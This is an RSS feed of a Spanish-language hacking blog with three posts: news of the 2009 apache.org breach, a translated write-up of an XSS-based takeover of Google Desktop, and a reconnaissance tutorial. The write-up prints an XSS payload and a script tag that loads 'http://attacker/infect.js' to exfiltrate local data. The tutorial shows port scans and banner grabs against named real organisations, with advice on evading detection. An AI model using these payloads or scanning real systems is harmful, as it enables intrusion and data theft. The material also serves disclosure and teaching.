<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nimrod's Sons &#187; Hacking</title>
	<atom:link href="http://www.nimrod.com.mx/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nimrod.com.mx</link>
	<description></description>
	<lastBuildDate>Mon, 31 Aug 2009 14:53:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Sitio de Apache Hackeado al comprometerse llaves de SSH</title>
		<link>http://www.nimrod.com.mx/2009/08/sitio-de-apache-hackeado-al-comprometerse-llaves-de-ssh/</link>
		<comments>http://www.nimrod.com.mx/2009/08/sitio-de-apache-hackeado-al-comprometerse-llaves-de-ssh/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 14:46:18 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://www.nimrod.com.mx/?p=106</guid>
		<description><![CDATA[El sitio principal de la fundación Apache Software fue comprometido el día viernes con un ataque a través de llaves SSH vulnerables, lo que provocó una gran preocupación sobre la integridad de muchas copias del popular servidor WEB, el cual es distribuido a través de este sitio. Durante la mañana del viernes 28 de agosto [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">El sitio principal de la fundación Apache Software fue comprometido el día viernes con un ataque a través de llaves SSH vulnerables, lo que provocó una gran preocupación sobre la integridad de muchas copias del popular servidor WEB, el cual es distribuido a través de este sitio.</p>
<p style="text-align: justify;">Durante la mañana del viernes 28 de agosto apareció un mensaje en la página principal del sitio de apache.org indicando que el sitio había sido comprometido y que la fundación había dado de baja muchos de sus servicios como precaución. En un comunicado posterior la fundación dio a conocer que el problema se había debido a llaves SSH vulnerables y no un ataque especialmente dirigido sobre el servidor del sitio; la vulnerabilidad en cuestión es una debilidad en las llaves SSH generadas en sistemas Devian / Ubuntu, esta vulnerabilidad permitió el acceso al sitio y el robo de muchas contraseñas, sin embargo fue posible restaurar los datos desde un mirror del sistema.</p>
<p style="text-align: justify;">La principal preocupación del equipo de Apache es que se pudiera haber comprometido la integridad del software que se distribuye mediante el sitio, ya que siendo apache uno de los servidores WEB mas utilizado esto pudiera haber significado una gran brecha de seguridad para muchas organizaciones que utilizan dicho software.</p>
<p style="text-align: justify;">El equipo que administra la infraestructura de la fundación se encuentra actualmente investigando la posible intrusión en uno de sus servidores. Por razones de seguridad muchos servicios prestados por apache.org se encuentra aun fuera de línea.</p>
<p style="text-align: justify;">Lo interesante es que la vulnerabilidad que fue usada, no es reciente y esto demuestra que hasta en las mejores familias existen problemas con vulnerabilidades antiguas.</p>
<p>Referencia</p>
<p><a href="http://threatpost.com/blogs/apache-site-hacked-through-ssh-key-compromise-128" target="_blank">http://threatpost.com/blogs/apache-site-hacked-through-ssh-key-compromise-128</a></p>
<p style="text-align: left;"><a href="http://isc.sans.org/diary.html?storyid=7030" target="_blank">http://isc.sans.org/diary.html?storyid=7030</a></p>
<p style="text-align: left;"><a href="http://www.milw0rm.com/exploits/5622" target="_blank">http://www.milw0rm.com/exploits/5622</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2009/08/sitio-de-apache-hackeado-al-comprometerse-llaves-de-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apoderándose de &#8216;Google Desktop&#8217;</title>
		<link>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/</link>
		<comments>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/#comments</comments>
		<pubDate>Sat, 24 Feb 2007 04:04:08 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=37</guid>
		<description><![CDATA[Apoderándose de &#8216;Google Desktop&#8217; Por Murena Myrope Lavin Martinez Google Desktop es una herramienta de escritorio &#8216;freeware&#8217; popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local. Existe un método de ataque contra la aplicación de &#8216;Google Desktop&#8217; que permite a un individuo [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Apoderándose de &#8216;Google Desktop&#8217;</strong><br />
 <strong>Por Murena Myrope Lavin Martinez</strong></p>
<p style="text-align: justify;">Google Desktop es una herramienta de escritorio &#8216;freeware&#8217; popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local.<br />
 <span id="more-37"></span></p>
<p style="text-align: justify;">Existe un método de ataque contra la aplicación de &#8216;Google Desktop&#8217; que permite a un individuo malicioso lograr acceso remoto y persistente a información sensible así como control completo del sistema afectado.</p>
<p style="text-align: justify;">Este problema es el resultado de la integración entre el sitio Web de Google.com y la falla de Google Desktop al codificar salidas que contengan caracteres maliciosos o inesperados.</p>
<p style="text-align: justify;">Este ataque representa un ejemplo real de una nueva generación de ataques a las computadoras. Estos ataques toman ventaja de las vulnerabilidades en aplicaciones Web y el poder cada vez mayor de los navegadores Web. El propósito es acceder remotamente a información privada. A diferencia de los ataques de penetración tradicionales, en este caso no hay necesidad de inyectar código binario.</p>
<p style="text-align: justify;">En este ataque se utiliza código de JavaScript para controlar la funcionalidad de Google Desktop. El atacante puede secuestrar información confidencial del sistema y evadir los sistemas de protección de información como antivirus y firewalls.</p>
<p style="text-align: justify;">El ataque pone énfasis en el peligro de la integración entre aplicaciones de escritorio y aplicaciones basadas en Web, ya que abre un hueco para los atacantes maliciosos al escalar sus privilegios al cruzar del ambiente Web al ambiente de escritorio.</p>
<p style="text-align: justify;"><strong>Google Desktop</strong></p>
<p style="text-align: justify;">La aplicación de Google Desktop puede indexar y manejar una gran variedad de recursos incluyendo documentos de Office, archivos multimedia, archivos comprimidos, cache de historial Web, y sesiones de chat.  Es posible también indexar y manejar documentos protegidos con contraseña y páginas web encriptadas, aunque estas características están deshabilitadas por default.</p>
<p style="text-align: justify;">Google Desktop también puede monitorear la actividad del usuario al revisar y editar archivos, escribir y leer correos electrónicos y navegar por la Web.  Crea copias en cache de la información y permite al usuario acceder a ella en otro momento. Por esta razón es posible buscar y acceder a la información desde el cache incluso después de que el correo electrónico original o archivo ya no exista en el sistema.</p>
<p style="text-align: justify;">Google Desktop corre como un servidor Web local que esta ligado al puerto 4664 en la interfase de red del equipo local. Por seguridad, sólo responde a las solicitudes originadas desde el equipo local.</p>
<p style="text-align: justify;"><strong>Integración de Google Desktop y el sitio público de Google.com</strong></p>
<p style="text-align: justify;">Un característica de la aplicación de Google Dektop es su similitud con el sitio Web de Google.com. Cuando se realizan búsquedas de información utilizando Google.com, además de presentar los resultados Web también se presentan los resultados que proporciona Google Desktop. Estos resultados de búsquedas locales los realiza la aplicación local de Google Desktop.</p>
<p style="text-align: justify;">Esta característica puede resultar muy útil pero representa un grave riesgo de seguridad. Si se explota una vulnerabilidad de Cross Site Scripting (XSS) en Google.com contra un usuario de Google Desktop, un atacante malicioso puede acceder la porción local de la información de la computadora.</p>
<p style="text-align: justify;">Este riesgo es mitigado en las  versiones más actuales de Google Desktop ya que:</p>
<ol style="text-align: justify;">
<li>La integración de los resultados de Google Desktop con Google.com es opcional. Se puede deshabilitar mediante la opción de ‘Display’ en la ventana de ‘Desktop Preferences’.</li>
<li>Los resultados de la integración son parciales, solo se muestra un pequeño texto al usuario. Los contenidos completos del resultado únicamente pueden ser accedidos mediante la interfase local de Google Desktop.</li>
</ol>
<p style="text-align: justify;"><strong>Mecanismos de Protección</strong></p>
<ol style="text-align: justify;">
<li><strong>Filtrado de       conexiones.</strong> El servidor Web corre en el equipo local por el puerto 4664. Únicamente maneja conexiones que se originen de y hacia el equipo local 127.0.0.1.</li>
<li><strong>Firmas de       protección</strong>. Cuando se instala, Google Desktop genera un llave aleatoria de 64 bits que se guarda en el registro fuse_data. Esta llave se utiliza para crear firmas únicas para diferentes páginas Web en el servidor Web local. Cada petición al servidor de Google Desktop local debe contener la firma para la petición específica. Esta firma cambia en cada equipo y en cada página Web. Este mecanismo de firmas proporciona una defensa contra ataques de XSS o Cross Site Request Forgery (CSRF). Para poder explotar esas vulnerabilidades, el atacante necesitaría conocer la firma válida del script vulnerable en el equipo local.</li>
</ol>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"><strong>Vulnerabilidad de XSS en Google Desktop </strong></p>
<p style="text-align: justify;">La aplicación de Google Desktop permite al usuario realizar búsquedas de distintas formas. Una de ellas es la búsqueda de información bajo directorios específicos en el disco duro o en un dispositivo en red.  Esta característica se puede configurar en la página  de ‘Advanced Search’.</p>
<p style="text-align: justify;">Se utiliza el parámetro <em>under </em>para realizar este tipo de  búsquedas. El parámetro <em>under </em>puede  ser pegajoso ya que los tres anteriores peticiones de <em>under</em> se regresan en la página de resultados.  El parámetro de búsqueda<em> under</em> contiene una vulnerabilidad ya que es posible ejecutar  scripts maliciosos utilizándolo. Por ejemplo:</p>
<p style="text-align: justify;"><strong>under:&lt;script&gt;alert(‘Hacked’)  :&lt;/script&gt;</strong></p>
<p style="text-align: justify;">Para hacer la experiencia de navegación más rápida en el sitio Web de Google Desktop, las respuestas de las búsquedas relacionadas de Google Desktop contienen los contenidos de la página de ‘Advanced Search’ aunque se encuentran ocultos visualmente al usuario. Cuando el usuario da click en el enlace de ‘Advanced Search’ dentro de una página de búsqueda, está es cargada inmediatamente sin enviar una solicitud al servidor Web de Google Desktop.</p>
<p style="text-align: justify;">Debido a que los parámetros de búsquedas avanzadas se incluyen en todas las páginas de búsqueda, desde el momento en que se ejecuta el comando <em>under </em>malicioso en la aplicación de Google Desktop, se queda pegado. Cada que un usuario realice una búsqueda por medio de la interfase Web de Google Desktop, el código malicioso de JavaScript también se ejecutará en el fondo.</p>
<p style="text-align: justify;"><strong>Descripción del ataque</strong></p>
<p style="text-align: justify;">Este ataque puede saltarse los mecanismos de protección mencionados anteriormente y permitir a un atacante insertar código de JavaScript Malicioso en Google Desktop. Esto se realiza al tomar ventaja de la integración de Google Desktop con el sitio Google.com, así como de la vulnerabilidad de XSS descubierta en el parámetro <em>under</em>.</p>
<ol style="text-align: justify;">
<li><strong>Explotar una       vulnerabilidad de XSS en Google.com para incluir el código de JS.</strong> El vector inicial de ataque es la explotación de cualquier vulnerabilidad de XSS que se encuentre en el dominio de Google.com. El año pasado se descubrieron múltiples vulnerabilidades dentro de las aplicaciones y sitios de Google. La víctima debe acceder a una URL especialmente elaborada que apunte a una página Web vulnerable en: <a href="http://www.google.com/">http://www.google.com</a>. Esto se pude realizar al engañar al usuario para que de clic en el link malicioso utilizando ingeniería social o al tomar ventaja de las vulnerabilidades Web de otros sitios como lo que realizan los gusanos Samy y Yamanner.  Después de que la víctima carga la página con la vulnerabilidad de XSS, se ejecuta el código malicioso de JavaScript. Este es el clásico ataque en Google.com que permite al atacante controlar el navegador de la víctima. La limitación es que el script únicamente puede interactuar  con el dominio de Google.com.</li>
<li><strong>Enviar una       búsqueda estándar a Google.com en el fondo</strong>. En este paso, el código malicioso de JavaScript trata de encontrar la firma única de la página de búsquedas de Google Desktop que se encuentra instalada localmente. Envía una solicitud que corre en el fondo a Google.com, utilizando el objeto XmlHttpRequest. Por ejemplo: <a href="http://www.google.com/search?q=Nimrod">http://www.google.com/search?q=Nimrod</a>.</li>
<li><strong>Se adquiere       la firma de la página de búsquedas de Google Desktop. </strong>Cuando se obtiene una respuesta de Google.com, la aplicación de Google Desktop la intercepta y agrega un enlace a Google Desktop. Este enlace tiene la siguiente estructura: <a href="http://127.0.0.1:4664/search&amp;s=%3cUNIQUE_SIGNATURE%3e?q=%3cQUERY_STRING">http://127.0.0.1:4664/search&amp;s=&lt;UNIQUE_SIGNATURE&gt;?q=&lt;QUERY_STRING</a>&gt;</li>
</ol>
<p style="text-align: justify;">Utilizando expresiones regulares, el código malicioso que se inyecto en el paso 1, obtiene la firma única que es utilizada para el enlace de Google Desktop. Esta expresión regular puede tener la siguiente forma: ‘http://127.0.0.1:4664/search&amp;s=([^?]+)?q=[^’]+’<br />
Que se utiliza  para obtener la firma única.</p>
<ol style="text-align: justify;">
<li><strong>Infectar el       navegador de la víctima.</strong> En este paso final el código de JavaScript salta al contexto de Google Desktop y lo infecta con un código malicioso y pegajoso de JavaScript. Esto se realiza al reemplazar la cadena estándar de búsqueda con la referencia maliciosa de JavaScript y al enviar una solicitud ciega (utilizando el IFRAME invisible por ejemplo) al Google Desktop:</li>
</ol>
<p style="text-align: justify;">http://127.0.0.1:4664/search&amp;s=&lt;UNIQUE_SIGNATURE&gt;?q=&lt;MALICIOUS_QUERY_STRING&gt;<br />
se transforma  en:<br />
http://127.0.0.1:4664/search&amp;s=&lt;STEP_3_ACQUIRED_SIGNATURE&gt;?q=under:&#8221;&lt;script src=&#8217;http://attacker/infect.js&#8217;&gt;&lt;/script&gt;&#8221;<br />
La respuesta a la solicitud ciega se carga en el IFRAME invisible y el código de JavaScript es ejecutado.  En este punto el atacante tiene un control completo y persistente de la aplicación de Google Desktop de la víctima.  El atacante puede realizar búsquedas de información privada en el equipo víctima y enviársela a <a href="http://attacker/">http://attacker</a>.</p>
<p style="text-align: justify;"><strong>Características del ataque</strong></p>
<p style="text-align: justify;">La naturaleza de la vulnerabilidad explotada en este ataque permite al atacante instalar malware de JavaScript persistente. Cada vez que la víctima realice búsquedas utilizando Google Desktop, el script malicioso se ejecutará en el fondo sin llamar la atención. Ya que el payload malicioso es un código pequeño de HTML, se fusiona sin ser notado, dentro del código HTML legítimo del Google Desktop.</p>
<p style="text-align: justify;"><strong>Control  remoto</strong>. El malware de JavaScript puede ser controlado remotamente al cargar comandos dinámicos de un sitio Web externo utilizando la directiva de inclusión de JavaScript: &lt;script src=&#8217;http://attacker/infect.js&#8217;&gt;. Es posible utilizar plataformas como XSS Proxy para establecer comunicación bidireccional  entre los equipos atacados y el atacante.</p>
<p style="text-align: justify;"><strong>Control persistente.</strong> El malware de JavaScript se coloca como una de  las últimas búsquedas del parámetro <em>under</em>.   Si el usuario utiliza la búsqueda <em>under </em>varias veces seguidas, el script puede ser quitado del histórico. Sin embargo, para asegurarse de que el malware no es removido por las utilización del parámetro <em>under</em> del usuario, se  puede configurar el código malicioso para que reinfecte el sistema cada vez que detecte la utilización del parámetro <em>under</em>.  Esto se puede realizar al activar una búsqueda en Google Desktop que corra  oculta.</p>
<p style="text-align: justify;"><strong>Comportamiento  tipo virus.</strong> El ataque afecta a la computadora local de la víctima y tiene un impacto similar a un virus/malware binario de computadoras. Sin embargo, difiere de los ataques tradicionales por varias razones:</p>
<ol style="text-align: justify;">
<li>El código malicioso no reside en el disco duro  como un archivo binario que pueda atraer la atención de la víctima.</li>
<li>El atacante no necesita formas sofisticadas para cargar la lógica maliciosa; esto se realiza automáticamente por el navegador cada vez que se visitan páginas de Google Desktop.</li>
<li>El código malicioso es ejecutado por el  navegador. No corre como un proceso propio.</li>
<li>Actualmente los antivirus y firewalls no pueden bloquear ataques de malware de JavaScript. El código malicioso puede mutar y encriptarse para evadir IDS.</li>
<li>Es posible extraer información de la computadora  local y hacer que parezca como solicitudes codificadas a un sitio Web externo.</li>
</ol>
<p style="text-align: justify;"><strong>Impacto</strong></p>
<p style="text-align: justify;"><strong>Poder realizar búsquedas en la computadora local.</strong> Incluyendo documentos de Office, multimedia, correos (incluso los borrados), cache de historial Web, sesiones de Chat, cronología de actividades realizadas por el usuario en el equipo.  Es posible hacer búsquedas por las palabras ‘confidencial’ o ‘secreto’ para encontrar información confidencial; búsquedas por ‘username’ o ‘password’ para obtener contraseñas; búsquedas por ‘banco’ para obtener información bancaria. La opción de ‘TimeLine View’ de Google Desktop presenta un log cronológico de los archivos editados por el usuario y los sitios Web visitados, así como versiones en cache de ambos.</p>
<p style="text-align: justify;"><strong>Habilitar características deshabilitadas en Google Desktop.</strong> Las características que mayor impacto tienen en la seguridad son las siguientes: ‘Password-protected Office Documents’ permite a Google Desktop indexar archivos protegidos por contraseña. ‘Secure Pages /HTTPS in Web history’ permite a Google Desktop indexar páginas web seguras.  Existe una vulnerabilidad de Google Desktop que puede ser utilizada para esconder estos cambios y que el usuario no pueda notarlos.</p>
<p style="text-align: justify;"><strong>Búsqueda entre computadoras.</strong> Permite buscar páginas Web y documentos entre todas las computadoras de la víctima. Para activar esta característica se requiere que todas la máquinas tengan Google Desktop instalado y una cuenta de Google.</p>
<p style="text-align: justify;"><strong>Control completo del sistema.</strong> Es posible lanzar aplicaciones por medio de la interfase Web de Google Desktop. Al enviar una solicitud desde Google Desktop se puede forzar al sistema atacado para que abra archivos automáticamente con su aplicación asociada. Es posible ejecutar archivos de tipo <strong><em>.exe</em></strong>.  Por ejemplo: <em>filetype:exe winword</em></p>
<p style="text-align: justify;"><em><img class="alignnone size-medium wp-image-38" title="20070223134251104_1" src="http://new.nimrod.com.mx/wp-content/uploads/2009/01/20070223134251104_1-300x208.jpg" alt="20070223134251104_1" width="300" height="208" /></em></p>
<p style="text-align: justify;"><strong>Recomendaciones</strong></p>
<ol style="text-align: justify;">
<li>Google desarrollo un parche que mitiga este ataque.       Se recomienda actualizar la versión de Google Desktop.</li>
<li>Se deben evaluar los parámetros de seguridad del       navegador Web.</li>
<li>Se debe deshabilitar la integración entre las       aplicaciones Web públicas y las aplicaciones de escritorio.</li>
<li>Los vendedores de antivirus deben tomar en cuenta este riesgo y desarrollar formas creativas de detectar y defender contra este tipo de ataques de malware JavaScript.</li>
</ol>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Conclusiones</strong></p>
<p style="text-align: justify;">Por varias razones este ataque se  puede considerar casi perfecto:</p>
<ol style="text-align: justify;">
<li>El footprint es pequeño y prácticamente       indetectable.</li>
<li>Lo firewalls no pueden hacer nada para mitigar el       ataque o el envío de información confidencial.</li>
<li>El software de antivirus  no puede proteger a la víctima</li>
<li>El ataque es persistente entre diferentes sesiones       y navegadores.</li>
<li>El impacto potencial es el control completo de la       computadora víctima.</li>
</ol>
<p style="text-align: justify;">
<p style="text-align: justify;">Este ataque fue posible gracias a una sola vulnerabilidad de XSS y a la integración entre el sitio de Google.com y la aplicación local de Google Desktop. Mientras que el ataque de XSS se considera inofensivo, combinado con aplicaciones de alta sensibilidad y capacidades poderosas como Google Desktop, su impacto se hace muy alto.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Referencias:<br />
 <a href="http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf">http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf</a><br />
 <a href="http://download.watchfire.com/googledesktopdemo/index.htm">http://download.watchfire.com/googledesktopdemo/index.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nimrod.com.mx/2007/02/apoderandose-de-google-desktop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seguir el rastro a las organizaciones: parte 3</title>
		<link>http://www.nimrod.com.mx/2006/12/seguir-el-rastro-a-las-organizaciones-parte-3/</link>
		<comments>http://www.nimrod.com.mx/2006/12/seguir-el-rastro-a-las-organizaciones-parte-3/#comments</comments>
		<pubDate>Thu, 14 Dec 2006 03:08:45 +0000</pubDate>
		<dc:creator>darkslaker</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[AV]]></category>
		<category><![CDATA[PT]]></category>

		<guid isPermaLink="false">http://new.nimrod.com.mx/?p=40</guid>
		<description><![CDATA[Seguir el rastro a las organizaciones: parte 3 Por Darkslaker Servicios públicos ofrecidos. Ahora que conocemos los segmentos de red de una organización podemos conocer los servicios públicos ofrecidos. Lo primero que debemos hacer es echar una mirada a los nombres de los equipos que pudimos identificar en la fase anterior. Muchos administradores de red, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Seguir el rastro a las organizaciones: parte 3<br />
 <strong>Por Darkslaker</strong></p>
<p style="text-align: justify;"><strong>Servicios públicos ofrecidos.</strong></p>
<p style="text-align: justify;">Ahora que conocemos los segmentos de red de una organización podemos conocer los servicios públicos ofrecidos. Lo primero que debemos hacer es echar una mirada a los nombres de los equipos que pudimos identificar en la fase anterior. Muchos administradores de red, ponen nombres significativos a sus equipos, estos nombres van relacionados con la función que desempeñan, algunos ejemplos son:</p>
<p style="text-align: justify;"><span id="more-40"></span>ns.dominio.com  = Servidor DNS<br />
dns.dominio.com  = Servidor DNS<br />
 <a href="http://www.dominio.com/">www.dominio.com</a> = Servidor http<br />
smtp.dominio.com  = Servidor de correo.<br />
Mail.dominio.com  = Servidor de correo.<br />
fw.dominio.com  = firewall</p>
<p style="text-align: justify;">
<p style="text-align: justify;">ns.dominio.com  = Servidor DNS<br />
dns.dominio.com  = Servidor DNS<br />
 <a href="http://www.dominio.com/">www.dominio.com</a> = Servidor http<br />
smtp.dominio.com  = Servidor de correo.<br />
Mail.dominio.com  = Servidor de correo.<br />
fw.dominio.com  = firewall</p>
<p style="text-align: justify;">Si queremos no ser detectados (o hacer más difícil el rastreo) por administradores de red debemos tener mucho cuidado en esta parte, la clave para investigar los servicios públicos está en no simplemente enviar miles de paquetes generados con la herramienta <strong>nmap</strong> a todos los puertos y a todos los segmentos de red; mas bien podemos buscar por equipos y guiarnos por la información que tenemos actualmente para tratar de identificar que servicios ofrecen públicamente y únicamente lanzar el escaneo a esos puertos. </p>
<p style="text-align: justify;">Los  servicios públicos más comunes con los que cuentan la mayoría de las  organizaciones se listan a continuación:</p>
<table style="text-align: justify;" border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top">
<p align="center">Puerto</p>
</td>
<td valign="top">
<p align="center">Servicio</p>
</td>
</tr>
<tr>
<td valign="top">21/TCP</td>
<td valign="top">FTP</td>
</tr>
<tr>
<td valign="top">22/TCP</td>
<td valign="top">SSH</td>
</tr>
<tr>
<td valign="top">23/TCP</td>
<td valign="top">Telnet</td>
</tr>
<tr>
<td valign="top">25/TCP</td>
<td valign="top">SMTP</td>
</tr>
<tr>
<td valign="top">53/UDP</td>
<td valign="top">DNS    Querys</td>
</tr>
<tr>
<td valign="top">53/TCP</td>
<td valign="top">DNS    Zone Transfer</td>
</tr>
<tr>
<td valign="top">80/TCP</td>
<td valign="top">http</td>
</tr>
<tr>
<td valign="top">110/TCP</td>
<td valign="top">Pop</td>
</tr>
<tr>
<td valign="top">143/TCP</td>
<td valign="top">IMAP</td>
</tr>
<tr>
<td valign="top">443/TCP</td>
<td valign="top">https</td>
</tr>
<tr>
<td valign="top">500/TCP</td>
<td valign="top">IKE (    para VPN)</td>
</tr>
<tr>
<td valign="top">8080TCP</td>
<td valign="top">Proxy</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">
<p style="text-align: justify;">Por  ejemplo, mediante la resolución de dominios encontré el siguiente dominio</p>
<p style="text-align: justify;">portal2www.itesm.mx.</p>
<p style="text-align: justify;">¿Que  puedo hacer ahora? lanzar un escaneo a los puertos mas comunes y ver su  respuesta.<br />
Esto se  puede hacer con <strong>n</strong> cantidad de  escaners, en mi opinión <strong>nmap </strong>y <strong>unicornscaner</strong> son los mejores:</p>
<p style="text-align: justify;">El nombre del host tiene www, por lo que es de suponerse que debe tener habilitado http y posiblemente https. Con el siguiente comando lanzaremos un escaneo utilizando la herramienta unicornscan al sitio portal2www.itesm.mx pero únicamente a los puertos 80 (http) y 443 (https):</p>
<p style="text-align: justify;"><em># unicornscan -mT  portal2www.itesm.mx.:80,443 -v<br />
TCP open                    http[   80]          from 200.34.200.27  ttl 54<br />
TCP open                   https[  443]         from 200.34.200.27  ttl 54</em></p>
<p style="text-align: justify;">Como ya lo suponíamos, basados en el nombre del equipo, comprobamos que ambos puertos se encuentran abiertos. Si queremos lanzar un escaneo a los puertos más comunes mencionados en la lista anterior, con unicornscaner se haría de la siguiente forma:</p>
<p style="text-align: justify;"><em># unicornscan -mT  portal2www.itesm.mx.:q<br />
TCP open                     ssh[   22]          from 200.34.200.27  ttl 54<br />
TCP open                    http[   80]          from 200.34.200.27  ttl 54<br />
TCP open                   https[  443]          from 200.34.200.27  ttl 54</em></p>
<p style="text-align: justify;">
<p style="text-align: justify;">De esta manera podemos comenzar a reconocer los servicios públicos que ofrece una organización. Pero no solo nos interesa conocer los servicios públicos que ofrece una organización, sino también las versiones de servidores que tienen, esto para realizar un análisis más específico y poder reconocer vulnerabilidades en los equipos:</p>
<p style="text-align: justify;"><strong>Nmap</strong> nos permite hacer esto de  una manera transparente:</p>
<p style="text-align: justify;">La  sintaxis seria: <em>‘nmap –sV –P0 –p Puerto  IP’</em></p>
<p style="text-align: justify;"><em># nmap -sV -P0 -p  80,443 www.eluniversal.com.mx</em></p>
<p style="text-align: justify;"><em>Starting Nmap 4.03 (  http://www.insecure.org/nmap/ ) at 2006-08-08 00:04 GMT<br />
Interesting ports on  na-148-243-168-46.na.avantel.net.mx (148.243.168.46):<br />
PORT    STATE     SERVICE VERSION<br />
80/tcp  open      http    Apache httpd 2.0.54  ((Unix) PHP/5.0.5)<br />
443/tcp filtered https</em></p>
<p style="text-align: justify;"><em>Nmap finished: 1 IP  address (1 host up) scanned in 8.164 seconds</em></p>
<p style="text-align: justify;">Si deseamos hacer esta búsqueda de banner y encontrar posibles versiones de servicios, lo podemos hacer simplemente con aplicaciones como <strong>netcat</strong> o <strong>telnet</strong> y conectarnos al puerto que necesitemos. Es importante mencionar que los banners no son una garantía que realmente este corriendo en el servidor tal versión de un software, muchas veces, por seguridad, los administradores del sistema pueden modificar el contenido del banner de sus equipos.</p>
<p style="text-align: justify;">A  continuación muestro un ejemplo de obtener un banner de https con <strong>openssl </strong>que es una herramienta de  código abierto para establecer conexiones de ssl y tls.</p>
<p style="text-align: justify;"><em># openssl s_client  -quiet -connect www.banamex.com.mx:443<br />
depth=2  /C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority<br />
verify  error:num=19:self signed certificate in certificate chain<br />
verify return:0<br />
HEAD / HTTP/1.0</em></p>
<p style="text-align: justify;"><em>HTTP/1.1 200 OK<br />
Server:  Netscape-Enterprise/6.0<br />
Date: Mon, 14 Aug 2006  00:23:02 GMT<br />
Content-length: 0<br />
Content-type: text/html<br />
Connection: close</em></p>
<p style="text-align: justify;">El siguiente es un  ejemplo de una obtención de banner de SMTP con <strong>netcat</strong>.</p>
<p style="text-align: justify;"><em>#nc  mail.rosenblueth.mx 25<br />
220  mail.rosenblueth.mx ESMTP Sendmail 8.11.6/8.11.6; Wed, 13 Dec 2006 10:36:31  -0600</em></p>
<p style="text-align: justify;">La siguiente es una  obtención de banner de telnet con un telnet (XD).</p>
<p style="text-align: justify;"><em># telnet 200.39.31.1<br />
ÿûÿûÿýÿýC<br />
______________________________________________________________</em></p>
<p style="text-align: justify;">
<p style="text-align: justify;"><em> ||        ||<br />
||        ||<br />
||||      ||||<br />
..:||||||:..:||||||:..<br />
C i s c o  S y s t e m s<br />
Router de Acceso<br />
______________________________________________________________<br />
**************************************************************<br />
*                                                             *<br />
*            TELEFONICA DATA MEXICO S.A DE  C.V.              *<br />
*                                                             *<br />
*                   &#8221; GESTION DE RED &#8221;                       *<br />
*                                                             *<br />
*        EL ACCESO A ESTE EQUIPO ESTA  RESTRINGIDO AL         *<br />
*            PERSONAL AUTORIZADO DE LA EMPRESA               *<br />
*   SI TIENES DUDAS PONTE EN CONTACTO CON NOSOTROS  AL TEL.   *<br />
*                       (52) 3093-6904                       *<br />
*                       (52) 5249-9949                       *<br />
*                                                             *<br />
*           gestion.red@telefonica-data.com.mx               *<br />
*                                                             *<br />
**************************************************************</em></p>
<p style="text-align: justify;"><em>User  Access Verification</em></p>
<p><em> </em></p>
<p><em>Username:</em></p>
<p style="text-align: justify;"><strong>Arquitectura de los sistemas visibles.</strong></p>
<p style="text-align: justify;">¿Que representa tener la arquitectura?, con toda la información que tenemos actualmente, ya podemos generar un mapa de la red objetivo: contamos con el direccionamiento, los servicios públicos y la mayoría de las versiones de las aplicaciones que se encuentren en el sistema. Con la información que se ha recabado es posible definir si se cuenta con balanceadores de carga, diferentes ISP, que servicios están forwardeados (enviados a diferentes equipos en la DMZ o red interna con la misma IP pública), así como la alta disponibilidad de algunos servicios. </p>
<p style="text-align: justify;">Con la información obtenida en fuentes publicas, como ofertas de empleo, podemos notar que tipo de tecnologías piden al personal para contratar y al identificar banners de equipos podemos saber el tipo y arquitectura de las plataformas que manejan en la red de la compañía objetivo.</p>
<p style="text-align: justify;">¿Como  identificamos que servicios están reenviados a otros equipos?, esto puede ser  verificado por el TTL (<a href="http://es.wikipedia.org/wiki/Tiempo_de_Vida">http://es.wikipedia.org/wiki/Tiempo_de_Vida</a> ) al enviar paquetes a ellos. </p>
<p style="text-align: justify;">El siguiente un escaneo a  los puertos 80 y 443 </p>
<p style="text-align: justify;"><em># unicornscan -mT  www.banamex.com.mx:80,443<br />
TCP open                    http[   80]          from 192.193.230.100  ttl 49<br />
TCP open                   https[  443]          from 192.193.230.100  ttl 51</em></p>
<p style="text-align: justify;">Los diferentes TTL nos indican que el Puerto 80 esta a dos saltos mas que el puerto 443, esto quiere decir que físicamente los servicios no se encuentran en el mismo equipo.</p>
